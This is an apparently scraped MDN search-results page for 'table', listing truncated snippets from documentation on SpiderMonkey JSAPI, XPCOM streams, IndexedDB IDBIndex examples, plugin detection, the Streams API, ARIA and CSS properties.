tablehandlevalue rval); // added in spidermonkey...
...And 3 more matches
JS_LookupProperty
obsolete since jsapi 37this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. determine if a specified property exists. ...
... is discouraged since it could be removed at any time. try to avoid using it. determine if a specified property exists. ...
...l js_lookupproperty(jscontext *cx, js::handleobject obj, const char *name, js::mu
tablehandlevalue vp); bool js_lookupucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::mu
tablehandlevalue vp); bool js_lookuppropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandlevalue vp); // added in spidermonkey 1.8.1 bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mu
tablehandlevalue vp); // ---- obsolete since spidermonkey 31 ---- bool js_lookuppropertywithflags(jscontext *cx, js::handleobject obj, const char *name, unsigned flags, js::mu
tablehandlevalue vp); bool js_lookuppropertywith...
...And 3 more matches
JS_ValueToId
requires request. ...
...requires request. ...
...requires request. ...
...And 3 more matches
XPCOM Stream Guide
"safe file output stream" mozilla provides a "safe file output stream" implementation. this implementation actually writes the contents of the file you're trying to create to a temporary file. if everything goes well, calling the stream's .finish() method overwrites the original file with the new file. ...
...ion actually writes the contents of the file you're trying to create to a temporary file. if everything goes well, calling the stream's .finish() method overwrites the original file with the new file. using streams in c++ using streams in javascript input streams input streams are not scrip
table - you cannot directly call .read() on them, for example. to solve this, there is a special nsiscrip
tableinputstream interface and "scrip
table stream" wrapper. if you have an input stream called nativestream, you can use code like this: var stream = components.classes["@mozilla.org/scrip
tableinputstream;1"] .createinstance(components.interfaces.nsiscrip
tableinputstream); stream.init(nativestream); the stream provides .read(count), .available(), and .close() methods. output s...
...ream" wrapper. if you have an input stream called nativestream, you can use code like this: var stream = components.classes["@mozilla.org/scrip
tableinputstream;1"] .createinstance(components.interfaces.nsiscrip
tableinputstream); stream.init(nativestream); the stream provides .read(count), .available(), and .close() methods. output streams output streams are usually scrip
table: you can call .write(chars, chars.length) as you wish. however, it is usually better to create an input stream that you then feed to the output stream: var outstream = components.classes["@mozilla.org/storagestream;1"] .createinstance(components.interfaces.nsistoragestream) .getoutputstream(); var instream = components.classes["@mozilla.org/io...
...And 3 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this enum defines values which specify a text() boundary type. ia2_text_boundary_sentence is optional. when a method doesn't implement this method it must return s_false. typically this feature would not be implemented by an application. ...
...ted event handlers. this data is only guaranteed to be valid while the thread notifying the event continues. once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects. also, note that the server may have different life cycle management strategies for controls depending on whether or not a control manages its children. lists, trees, and
tables can have a large number of children and thus it's possible that the child objects for those controls would only be created as needed. servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads. servers only need to save the last inserted block of text() and a scope of the entire appli...
...ted event handlers. this data is only guaranteed to be valid while the thread notifying the event continues. once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects. also, note that the server may have different life cycle management strategies for controls depending on whether or not a control manages its children. lists, trees, and
tables can have a large number of children and thus it's possible that the child objects for those controls would only be created as needed. servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads. servers only need to save the last removed block of text() and a scope of the entire applic...
...And 3 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscrip
table please add a summary to this article. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only! void createtmpfiletopost(in string apostdataurl, out string atmpfilename); native code only! obsolete since gecko 2.0 void deletepluginnativewindow(in nspluginnativewindowptr apluginnativewindow); native code only! void destroy(); native code only! void findproxyforurl(in string aurl, out string aresult); native code only! nsiplugin getplugin(in string amimetype); native code only! void getplugincount(out unsigned long aplugincount); obsolete sin...
... void loadplugins(); native code only! void newpluginnativewindow(out nspluginnativewindowptr apluginnativewindow); native code only! void parsepostbuffertofixheaders(in string ainpostdata, in unsigned long ainpostdatalen, out string aoutpostdata, out unsigned long aoutpostdatalen); native code only! void reloadplugins(in boolean reloadpages); void setisscrip
tableinstance(in nsiplugininstance ainstance, in boolean ascrip
table); native code only! obsolete since gecko 2.0 void setupplugininstance(in string amimetype, in nsiuri aurl, in nsiplugininstanceowner aowner); native code only! void stopplugininstance(in nsiplugininstance ainstance); native code only! void useragent(in nativechar resultingagentstring); native code only! ...
... the post data. ainpostdatalen the length ainpostdata. aoutpostdata the buffer. aoutpostdatalen the length of aoutpostdata. reloadplugins() causes the plugins directory to be searched again for new plugin libraries. void reloadplugins( in boolean reloadpages ); parameters reloadpages indicates whether currently visible pages should also be reloaded. ...
...And 3 more matches
nsISelectionPrivate
inherits from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of this article may be out of date. this page wasn't updated since the initial import in 2011. see the idl file linked above for up-to-date information. ...
...sinode beginnode, in print32 beginoffset, in nsinode endnode, in print32 endoffset, in boolean allowadjacent, in rangearray results); native code only! void getrangesforintervalcomarray(in nsidomnode beginnode, in print32 beginoffset, in nsidomnode endnode, in print32 endoffset, in prbool allowadjacent, in rangearray results); native code only! obsolete since gecko 12.0 long get
tableselectiontype(in nsidomrange range); void removeselectionlistener(in nsiselectionlistener listenertoremove); void scrollintoview(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); void setancestorlimiter(in nsicontent acontent); native code only! void setpresshell(in nsipresshell apresshell); native code only! void s...
...t whose return value is to be cached. see bug 35296 and bug 199412 native code only! interlineposition boolean type short returns the type of the selection (see nsiselectioncontroller for available constants). read only. ...
...And 3 more matches
nsITreeView
inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur. further information about creating treeviews is given in the xul tutorial. ...
...long getprogressmode(in long row, in nsitreecolumn col); astring getrowproperties(in long index, in nsisupportsarray properties obsolete since gecko 22); boolean hasnextsibling(in long rowindex, in long afterindex); boolean iscontainer(in long index); boolean iscontainerempty(in long index); boolean iscontaineropen(in long index); boolean isedi
table(in long row, in nsitreecolumn col); boolean isselec
table(in long row, in nsitreecolumn col); boolean isseparator(in long index); boolean issorted(); void performaction(in wstring action); void performactiononcell(in wstring action, in long row, in nsitreecolumn col); void performactiononrow(in wstring action, in long row); void selec...
...ne if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false from candropbeforeafter(). boolean candropon( in long index ); parameters index the index of the item. return value true if a drop event can occur. otherwise false. cyclecell() called on the view when a cell in a non-selec
table cycling column (for example, unread/flag/and so on.) is clicked. void cyclecell( in long row, in nsitreecolumn col ); parameters row the row of the cell. col the column of the cell. cycleheader() called on the view when a header is clicked. void cycleheader( in nsitreecolumn col ); parameters col the column to cycle. drop() called when the user drops something on this ...
...And 3 more matches
Reference Manual
nscomptr<nsifoo> foo = ...; // ... rv = getfoo( (nsifoo**)&foo ); rv = getfoo( &(nsifoo*)foo ); // sure, they compile; but now you leak. to help prevent this, we are trying to make the first form, above, illegal by making operator& private. see bug 59414. implementation details and debugging machinery although it is a class, nscomptr has no virtual methods, and therefore, no v
table or vptr. because a few key routines are factored out into a common non-template base class, the actual underlying pointer is stored as an nsisupports* (except in debug builds where nscap_feature_debug_ptr_types is turned on). it is because of these factored routines that nscomptr users must link with the xpcom library. when nscap_feature_debug_ptr_types is turned on, instead of holding its underl...
...ilt-in forms assignment into, or initialization of an nscomptr is easy to understand. the nscomptr releases its old value, if any, and then assigns in the new value, addrefing it and/or calling queryinterface as you direct by "annotating" the assignment with directives like dont_addref. this section describes each of the possibilities, though the directives can be more succinctly described in the
table below. you can construct an nscomptr from, or assign into it any of the following the value 0 another nscomptr of the same type a raw xpcom interface pointer of the same type a raw xpcom interface pointer of the same type, annotated with the dont_queryinterface directive a raw xpcom interface pointer of the same type, annotated with the dont_addref directive or a synonym any interfac...
...e remaining directives provide some additional control in special situations. additionally, you can construct an nscomptr without supplying an initial value, in which case it is initialized to 0. just like a primitive pointer, an nscomptr with the value 0 points to no object, and can be tested with expressions like if (foo) and if (!foo). the directives mentioned above may make more sense in this
table table 1. options for assigning into an nscomptr. don't qi qi addref t*, dont_queryinterface(t*) do_queryinterface(nsisupports*), do_queryinterface(nsisupports*, nsresult*) do_queryreferent(nsiweakreference*), do_queryreferent(nsiweakreference*, nsresult*) d...
...And 3 more matches
Address book sync client design
client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process. the static information that is held on the client for address book sync operations is stored in a file called absync.dat which is located in the root directory of the users profile information. // // the client keeps a sync mapping
table which holds the following: // // serverrecordid - unique id for a record provided by the // uab server. // localrecordid - local unique id, for mobile devices this // is assigned by the mobile device. // crc - crc of the record last time we synced. // flags - operation to apply to this record. add // if...
... - crc of the record last time we synced. // flags - operation to apply to this record. add // if it's new, mod if it's been modified, // ret if it was already sent to the server // but an error occured, etc. // // step 1: // when the user begins a sync, run through the local database and update the // sync mapping
table. if the crc has changed, mark the entry modified, if // it's a new record, add an entry and mark it new, if a record was deleted, // mark the entry deleted, etc. // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping
table and the local records database, generate the change // list to send to the server. mark any modified or new record with...
...o send to the server. mark any modified or new record with the ret (retry) // flag. // // step 3: // get the response back from the server. since the communication was successful, // clear the ret (retry) flag on all records. then apply the server changes back // to the local database (updating the crc's in the process). ...
...And 3 more matches
Index - Firefox Developer Tools
debugged is called the debuggee, and the instance of firefox doing the debugging is called the debugger. 101 responsive design mode design, dev tools, firefox, guide, responsive design, tools, web development, l10n:priority responsive design is the practice of designing a website so it looks and works properly on a range of different devices — particularly mobile phones and
tablets as well as desktops and laptops. 102 rulers devtools, firefox, rulers, tools you can overlay horizontal and vertical rulers on a web page: 103 settings beginning with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/touching ... (the elipsis) on the right of the tab. 104 shader editor ...
...om caches created using the cache api. if you select a cache, you'll see a list of the resources it contains. for each resource, you'll see: 107 cookies cookies, dev tools, firefox, guide, storage, storage inspector, tools, l10n:priority when you select an origin inside the cookies storage type from the storage tree, all the cookies present for that origin will be listed in a
table. ...
...sing the cache api. if you select a cache, you'll see a list of the resources it contains. for each resource, you'll see: 107 cookies cookies, dev tools, firefox, guide, storage, storage inspector, tools, l10n:priority when you select an origin inside the cookies storage type from the storage tree, all the cookies present for that origin will be listed in a
table. ...
...And 3 more matches
IDBIndex.count() - Web APIs
ening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. myindex.count() is then used to count the number of records in the index, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...ex, not the primary key. myindex.count() is then used to count the number of records in the index, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...action = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var countrequest = myindex.count(); countrequest.onsuccess = function() { console.log(countrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.get() - Web APIs
ursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. myindex.get('bungle') is then used to retrieve the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...he primary key. myindex.get('bungle') is then used to retrieve the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...action = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getrequest = myindex.get('bungle'); getrequest.onsuccess = function() { console.log(getrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.getKey() - Web APIs
bjectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. myindex.getkey('bungle') is then used to retrieve the primary key of the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...ex.getkey('bungle') is then used to retrieve the primary key of the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns. finally, we iterate through each record, and insert the data into an html
table. ...
...transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getkeyrequest = myindex.getkey('bungle'); getkeyrequest.onsuccess = function() { console.log(getkeyrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.keyPath - Web APIs
rsor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the key path of the current index is logged to the console: it should be returned as lname. finally, we iterate through each record, and insert the data into an html
table. ...
...e.opencursor except that the returned records are sorted based on the index, not the primary key. the key path of the current index is logged to the console: it should be returned as lname. finally, we iterate through each record, and insert the data into an html
table. ...
...example live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.keypath); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.multiEntry - Web APIs
or on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the multi-entry status of the index is logged to the console: it should be returned as false. finally, we iterate through each record, and insert the data into an html
table. ...
...opencursor except that the returned records are sorted based on the index, not the primary key. the multi-entry status of the index is logged to the console: it should be returned as false. finally, we iterate through each record, and insert the data into an html
table. ...
...mple live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.multientry); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.objectStore - Web APIs
ncursor except that the returned records are sorted based on the index, not the primary key. the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html
table. ...
...e console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html
table. ...
...ple live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.objectstore); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.openCursor() - Web APIs
d an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using opencursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...dex-example demo repo (view the example live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex.unique - Web APIs
cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the unique status of the index is logged to the console: it should be returned as false. finally, we iterate through each record, and insert the data into an html
table. ...
...tore.opencursor except that the returned records are sorted based on the index, not the primary key. the unique status of the index is logged to the console: it should be returned as false. finally, we iterate through each record, and insert the data into an html
table. ...
... example live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.unique); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBIndex - Web APIs
ject store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...or — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...ndex-example demo repo (view the example live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
IDBObjectStore.index() - Web APIs
ject store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...or — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record, and insert the data into an html
table. ...
...ndex-example demo repo (view the example live.) function displaydatabyindex() {
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + ...
...And 3 more matches
NavigatorPlugins.plugins - Web APIs
h is not present return undefined; } if(flash.version){ return flash.version; } else { //no version property (e.g. in chrome) return flash.description.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s). ...
... return undefined; } if(flash.version){ return flash.version; } else { //no version property (e.g. in chrome) return flash.description.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s). ...
...) return flash.description.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s). ...
...And 3 more matches
PluginArray - Web APIs
ified index into the array. pluginarray.nameditem returns the plugin with the specified name. pluginarray.refresh refreshes all plugins on the current page, optionally reloading documents. examples the following example function returns the version of the shockwave flash plugin. ...
... the array. pluginarray.nameditem returns the plugin with the specified name. pluginarray.refresh refreshes all plugins on the current page, optionally reloading documents. examples the following example function returns the version of the shockwave flash plugin. ...
... the current page, optionally reloading documents. examples the following example function returns the version of the shockwave flash plugin. ...
...And 3 more matches
Streams API - Web APIs
ving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a sui
table format, then process the whole lot after it is fully received. with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob. there are more advantages too — you can detect when streams start or end, chain streams together, ...
...body returned by a successful fetch request can be exposed as a readablestream, and you can then read it using a reader created with readablestream.getreader(), cancel it with readablestream.cancel(), etc. more complicated uses involve creating your own stream using the readablestream() constructor, for example to process data inside a service worker. you can also write data to streams using wri
tablestream. note: you can find a lot more details about the theory and practice of streams in our articles — streams api concepts, using readable streams, and using wri
table streams. stream interfaces readable streams readablestream represents a readable stream of data. it can be used to handle response streams of the fetch api, or developer-defined streams (e.g. a custom readablestream() c...
...per-defined streams (e.g. a custom readablestream() constructor). readablestreamdefaultreader represents a default reader that can be used to read stream data supplied from a network (e.g. a fetch request). readablestreamdefaultcontroller represents a controller allowing control of a readablestream's state and internal queue. default controllers are for streams that are not byte streams. ...
...And 3 more matches
ARIA: textbox role - Accessibility
ser sends an accessible textbox event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". ...
...istive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contentedi
table attribute ensures the text node is edi
table. ...
...ts the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contentedi
table attribute ensures the text node is edi
table. ...
...And 3 more matches
Perceivable - Accessibility
ss criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1. perceivable states that users must be able to perceive it in some way, using one or more of their senses. note: to read the w3c definitions for perceivable and its guidelines and success criteria, see principle 1: perceivable - information and user interface components must be presen
table to users in ways they can perceive. guideline 1.1 — providing text alternatives for non-text content the key here is that text can be converted to other forms that people with disabilities can use. for example, it can be spoken by a screenreader, converted to large print, or represented on a braille display. non-text content refers to multimedia such as images, audio, and video. s...
...abilities can use. for example, it can be spoken by a screenreader, converted to large print, or represented on a braille display. non-text content refers to multimedia such as images, audio, and video. success criteria how to conform to the criteria practical resource 1.1.1 provide text equivalents (a) all images that convey meaningful content should be given sui
table alternative text. text alternatives. complex images or charts should have an accessible alternative provided, either on the same page or via a link. use a regular link instead of a longdesc attribute. a text description may work, or an accessible data
table (see html
table advanced features and accessibility). see other text alternative mechanisms for the argument against long...
... full meaning expressed by the video. 1.2.6 provide sign language equivalent to prerecorded audio (aaa) an equivalent sign language video should be provided for any prerecorded content containing audio. 1.2.7 provide extended video with audio descriptions (aaa) where audio descriptions cannot be provided (see 1.2.5) due to video timing issues (e.g., there are no sui
table pauses in the content in which to insert the audio descriptions), an alternative version of the video should be provided that includes inserted pauses (and audio descriptions). 1.2.8 provide an alternative for prerecorded media (aaa) for all content that features video, a descriptive text transcript should be provided, for example a script of the movie you are watching. this is fo...
...And 3 more matches
:nth-last-child() - CSS: Cascading Style Sheets
:nth-last-child(7) represents the seventh element, counting from the end. :nth-last-child(5n) represents elements 5, 10, 15, etc., counting from the end. :nth-last-child(3n+4) represents elements 4, 7, 10, 13, etc., counti...
... :nth-last-child(7) represents the seventh element, counting from the end. ...
...represents every <p> element among a group of siblings. this is the same as a simple p selector. (since n starts at zero, while the last element begins at one, n and n+1 will both select the same elements.) p:nth-last-child(1) or p:nth-last-child(0n+1) represents every <p> that is the first element among a group of siblings, counting from the end. this is the same as the :last-child selector. ...
...And 3 more matches
:read-only - CSS: Cascading Style Sheets
input:read-only, textarea:read-only { background-color: #ccc; } p:read-only { background-color: #ccc; } syntax :read-only examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form. we do just this in the example below. ...
...ple, shipping details), while still being able to submit the information along with the rest of the form. we do just this in the example below. the :read-only pseudo-class is used to remove all the styling that makes the inputs look like clickable fields, making them look more like read-only paragraphs.the :read-write pseudo-class on the other hand is used to provide some nicer styling to the edi
table <textarea>. input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls ...
...nd-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user. ...
...And 3 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
xt the <html> element is not the only element capable of creating a block formatting context. any block-level element can be made to create a bfc by the application of certain css properties. ...
... element capable of creating a block formatting context. any block-level element can be made to create a bfc by the application of certain css properties. ...
...lock formatting context. any block-level element can be made to create a bfc by the application of certain css properties. ...
...And 3 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
iv> </div> </div> <div id="output"> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display:
table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display:
table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-a...
...px; height: 10px; background: url("images/resize.png") center center no-repeat; position: absolute; bottom: 0; right: 0; } [data-resize='both']:hover { cursor: nw-resize !important; } [data-resize='width']:hover { cursor: w-resize !important; } [data-resize='height']:hover { cursor: n-resize !important; } /** * main container */ #container { width: 1000px; height: 100%; display:
table; margin: 0 auto; } #gradient-container { width: 450px; height: 250px; min-width: 8px; min-height: 8px; margin: 100px auto; border: 1px solid #ddd; position: relative; } #gradient-container[data-alpha="true"]:after { content: ""; width: 100%; height: 100%; background: url('images/canvas-pattern.png'); position: absolute; z-index: -1; } /** * gradient axis */ .gradient-axis { ...
...xis[axisid='3']:after { background-color: #5c5cda; } .gradient-axis[axisid='0'] path { fill: #da5c5c; } .gradient-axis[axisid='1'] path { fill: #5cda9b; } .gradient-axis[axisid='2'] path { fill: #5c9bda; } .gradient-axis[axisid='3'] path { fill: #5c5cda; } .gradient-axis .rotate-point:hover { cursor: pointer; } /** * controls */ #controls { width: 100%; margin: 0 auto; display:
table; } #controls .section { width: 50%; padding: 10px; display:
table; float: left; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } #controls .section .title { width: 90%; margin: 0 0 10px 0; padding: 5px; border-bottom: 1px solid #ddd; font-size: 18px; color: #777; } #controls .property { width: 100%; height: 24px; margin: 10px 0; padding: ...
...And 3 more matches
border-style - CSS: Cascading Style Sheets
lockwise). each value is a keyword chosen from the list below. values <line-style> describes the style of the border. it can have the following values: none like the hidden keyword, displays no border. unless a background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else. ...
... dotted displays a series of rounded dots. the spacing of the dots is not defined by the specification and is implementation-specific. ...
...ize defined by border-width. groove displays a border with a carved appearance. it is the opposite of ridge. ridge displays a border with an extruded appearance. it is the opposite of groove. inset displays a border that makes the element appear embedded. it is the opposite of outset. when applied to a
table cell with border-collapse set to collapsed, this value behaves like groove. outset displays a border that makes the element appear embossed. it is the opposite of inset. when applied to a
table cell with border-collapse set to collapsed, this value behaves like ridge. formal definition initial valueas each of the properties of the shorthand...
...And 3 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
lay: flex to create a block-level box with flex children, we will use display: block flex. instead of display: inline-flex to create an inline-level box with flex children, we will use display: inline flex. the example below, which will work in firefox 70 and upwards, demonstrates these values. there are mappings for all of the existing values of display; the most common ones are listed in the
